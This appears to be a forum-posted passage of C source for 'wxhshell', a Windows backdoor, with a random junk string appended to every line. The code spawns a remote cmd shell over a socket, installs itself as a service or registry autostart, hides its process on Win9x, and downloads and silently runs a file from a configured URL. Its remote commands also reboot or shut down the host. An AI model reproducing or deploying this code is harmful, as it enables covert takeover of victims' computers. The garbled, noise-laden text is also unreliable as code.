  } <,Pl31g^  
  // 安装 l[i1,4  
  case 'i': { [+8*}03  
    if(Install()) el\xMe^SY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]TJ258P}  
    else 1;PI%++  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f'bwtjO  
    break; ~!M"  
    } );h  
  // 卸载 XD" 4t4~>  
  case 'r': { @+1AYVz(k  
    if(Uninstall()) B`gH({U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I2krxLPd  
    else 0dQ\Y]b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z?d][zGw  
    break; c[T@lz(!  
    } cltx(C>   
  // 显示 wxhshell 所在路径 qA[cF$CIl)  
  case 'p': { EG|_YW7  
    char svExeFile[MAX_PATH]; Yg}b%u,Q  
    strcpy(svExeFile,"\n\r"); o^'QGs "  
      strcat(svExeFile,ExeFile); ;.<HpDfG_  
        send(wsh,svExeFile,strlen(svExeFile),0); 24 .'+3  
    break; Jz*A!Li  
    } cj^hwtx   
  // 重启 9Fw NX  
  case 'b': { [:}"MdU'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UkXa mGoy3  
    if(Boot(REBOOT)) e+<|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ktRGl>J  
    else { *yY\d.6(  
    closesocket(wsh); GZHJ 4|DK  
    ExitThread(0); u%6b|M@P  
    } LM 1Vsh<  
    break; .;S1HOHz4  
    } d^v.tYM$N  
  // 关机 k2.k}?w!JO  
  case 'd': { L4ct2|w}ul  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yY*(!^S  
    if(Boot(SHUTDOWN)) kZ]pV=\Y*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;@:-T/=  
    else { jP0TyhM  
    closesocket(wsh); o q6^  
    ExitThread(0); ZD7qw*3+  
    } ~3&hvm[IQ  
    break; dPxJ`8  
    } xZM4CR9]*C  
  // 获取shell #_|O93HN'  
  case 's': { g_! xD;0  
    CmdShell(wsh); )]LP8 J&  
    closesocket(wsh); /{P-WRz>  
    ExitThread(0); keG\-f  
    break; Dd,i^,4Gj  
  } -1~o~yGE  
  // 退出 AX'-}5T=  
  case 'x': { L "'d(MD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X<pNc6  
    CloseIt(wsh); G'';VoW=   
    break; 0P{8s  
    } "!fwIEG  
  // 离开 Ed{sC[j=  
  case 'q': { C rl:v8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `Q/\w1-Q  
    closesocket(wsh); 7Ka4?@bQ  
    WSACleanup(); 6#.9T;&  
    exit(1); H<;~u:;8Q  
    break; ]m7x&N2  
        } [ wnaF|h  
  } ]=]MJ3_7  
  } ykH@kv Qt  
9'e<{mlM  
  // 提示信息 +EqL|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0%Y}CDn_  
} }f% Qk0^  
  } lDF7~N9J_  
g:!R't?  
  return; $9xp@8b\_  
} e.#,9  
(d* | |"  
// shell模块句柄 QC&,C}t,  
int CmdShell(SOCKET sock) !4<A|$mQ  
{ k*C[-5&#  
STARTUPINFO si; *UXa.kT@  
ZeroMemory(&si,sizeof(si)); `s3:Vsv4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !&`\MD>;~R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l<<9H-O  
PROCESS_INFORMATION ProcessInfo; /[ft{:#&t  
char cmdline[]="cmd"; :#{0yno)H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -}( o+!nl  
  return 0; DRTT3;,N  
} TZ3gJ6 Cb  
{*r!oD!'  
// 自身启动模式 ~*+evAP  
int StartFromService(void) cS2]?zI  
{ Ly R<cd$W  
typedef struct A:(qF.Tm  
{ QFoCi&  
  DWORD ExitStatus; h(3-/4  
  DWORD PebBaseAddress; 4L4u<  
  DWORD AffinityMask; ne3t|JZ  
  DWORD BasePriority; l Ft&cy2  
  ULONG UniqueProcessId; tp }Bz&V  
  ULONG InheritedFromUniqueProcessId; wlslG^^(!  
}   PROCESS_BASIC_INFORMATION; Fg'{K%t4  
g[~J107%A  
PROCNTQSIP NtQueryInformationProcess; h0$ \JXk  
\OWxf[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lxv_{~I*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @`Dh 7Q  
Uyeo0B"  
  HANDLE             hProcess; wuXH'  
  PROCESS_BASIC_INFORMATION pbi; B(6*U~Kn%  
.|TF /b]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZP&iy$<L  
  if(NULL == hInst ) return 0; =NnG[#n%  
sJl>evw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z:V<P,N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ge=\IAj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'WBhW5@  
a1[J>  
  if (!NtQueryInformationProcess) return 0; `0w!&  
BQeg-M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T!pZj_ h=  
  if(!hProcess) return 0; 'aEN(Mdz1e  
\_i22/Et  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BO6XY90(  
e 0Z2B2  
  CloseHandle(hProcess); D~`RLPMk  
D$rn?@&g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /^I!)|At  
if(hProcess==NULL) return 0; qg<Y^ y  
jHA(mU)b  
HMODULE hMod; HqV4!o9'  
char procName[255]; olXfR-2>1  
unsigned long cbNeeded; npbf>n^R  
9}42s+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wAzaxeV=  
jIHY[yDT  
  CloseHandle(hProcess); jZvIqR/  
se}$/Y}t  
if(strstr(procName,"services")) return 1; // 以服务启动 g2 mq?q(g  
zzh7 "M3Qn  
  return 0; // 注册表启动 ]gF=I5jn]  
} D5].^*AbZ  
~XvMiWuo  
// 主模块 "-AFWWKtx  
int StartWxhshell(LPSTR lpCmdLine) 1|>bG#|  
{ f 9IqcCSW  
  SOCKET wsl; v |(N  
BOOL val=TRUE; osLEH?iKW  
  int port=0; qF`]}7"^  
  struct sockaddr_in door; i~M-V=Zg  
<'A-9y]-v  
  if(wscfg.ws_autoins) Install(); +Mn(s36f2  
D`.\c#;cN  
port=atoi(lpCmdLine); qw)Ou]L=  
$"}*#<Z  
if(port<=0) port=wscfg.ws_port; `bn@;7`X  
-*-"kzgd  
  WSADATA data; Ys?0hd<cn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A8AeM `  
1-.i^Hal  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RQ#9[6w!v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iV\*7  
  door.sin_family = AF_INET; Gf9O\wrs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W3^^aD-  
  door.sin_port = htons(port); U^K8^an$  
)oM% N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uaCI2I  
closesocket(wsl); c]qh)F$s8  
return 1; :3J`+V}9;  
} r/0AM}[!*j  
qNMYZ0,  
  if(listen(wsl,2) == INVALID_SOCKET) { $?LegX  
closesocket(wsl); oJ#;XR  
return 1; y`/:E<fVk  
} :x^e T  
  Wxhshell(wsl); "avG#rsH  
  WSACleanup(); R?}%rP+^e  
E5*pD*#  
return 0; \Il?$Kb/  
c`\qupnY  
} /N./l4D1K-  
Vy c  
// 以NT服务方式启动 BE0Xg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PfhKomt"  
{ "{~^EQq,  
DWORD   status = 0; J'L6^-gV  
  DWORD   specificError = 0xfffffff; SaRn>n\  
+HD2]~{EkL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U> <$p{ )  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gzlRK^5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wrt5eYy  
  serviceStatus.dwWin32ExitCode     = 0; >{Xyl):  
  serviceStatus.dwServiceSpecificExitCode = 0; @B?'Mu*  
  serviceStatus.dwCheckPoint       = 0; tdp>vI!  
  serviceStatus.dwWaitHint       = 0; CE| *&G  
O>" |5 wj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q]dKyMSSA  
  if (hServiceStatusHandle==0) return; v`@N R06  
A-M6MW  
status = GetLastError(); /IH F  
  if (status!=NO_ERROR) c s:E^  
{ G1 I<B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; };gcM @]]E  
    serviceStatus.dwCheckPoint       = 0; Mi}k>5VT  
    serviceStatus.dwWaitHint       = 0; ogV v 8Xb  
    serviceStatus.dwWin32ExitCode     = status; bcAk$tA2  
    serviceStatus.dwServiceSpecificExitCode = specificError; KsqS{VVCh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;D%H}+Z  
    return; a,n#E!zT?w  
  } 4]xD-sc  
lcfs 1].  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uE.. 1N&*  
  serviceStatus.dwCheckPoint       = 0; NZ+TTMv  
  serviceStatus.dwWaitHint       = 0; "od 2i\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %"|W qxv  
} sn'E}.uhXH  
}"/>,  
// 处理NT服务事件,比如:启动、停止 0^F!-b^z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e Dpt1  
{ SI=7$8T5=5  
switch(fdwControl) Ldy(<cN  
{ ITz+O=I4R]  
case SERVICE_CONTROL_STOP: 3XncEdy_  
  serviceStatus.dwWin32ExitCode = 0; BJp~/H`vd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %P C[-(Q  
  serviceStatus.dwCheckPoint   = 0; 3aJYl3:0B  
  serviceStatus.dwWaitHint     = 0; L;6{0b58 $  
  { [?XP[h gd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dh<}j3]  
  } :*t5?  
  return; mKUm*m#<R  
case SERVICE_CONTROL_PAUSE: jm'^>p,9G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -"x@V7X  
  break; \J-D@b;  
case SERVICE_CONTROL_CONTINUE: /U0,%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FvD/z ;N  
  break; ~h3~<p#M`  
case SERVICE_CONTROL_INTERROGATE: E[FE-{B#  
  break; KvO5-g  
}; zkd^5A; `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @S&QxE^  
} &WS'Me  
;RMevVw|  
// 标准应用程序主函数 "cvhx/\1#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g]d0B!Ar~  
{ >^ E*7Bfp  
|!CAxE0d$B  
// 获取操作系统版本 :xY9eq=  
OsIsNt=GetOsVer(); 0aJcX)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f7;<jj;w7  
#W4 "^#2  
  // 从命令行安装 T5dnj&N ]  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0u +_D8G  
` :Oje  
  // 下载执行文件 Ian+0 ?`e  
if(wscfg.ws_downexe) { yIWgC[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) , hp8b$  
  WinExec(wscfg.ws_filenam,SW_HIDE); l4U  
} c/l^;6O/!\  
\4O_@d`A  
if(!OsIsNt) { C>QWV[F  
// 如果时win9x,隐藏进程并且设置为注册表启动 'k[vcnSz\/  
HideProc(); ,G[Y< ~Hy  
StartWxhshell(lpCmdLine); a&7uRR26  
} VDiW9]  
else :*YnH&  
  if(StartFromService()) OMBH[_  
  // 以服务方式启动 x }]"jj2x  
  StartServiceCtrlDispatcher(DispatchTable); D J7U6{KLq  
else s? 2ikJq  
  // 普通方式启动 :BB=E'293  
  StartWxhshell(lpCmdLine); yl0;Jx?  
HI, `O  
return 0; ryb81.|  
}
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只看该作者 1 发表于: 2006-10-10
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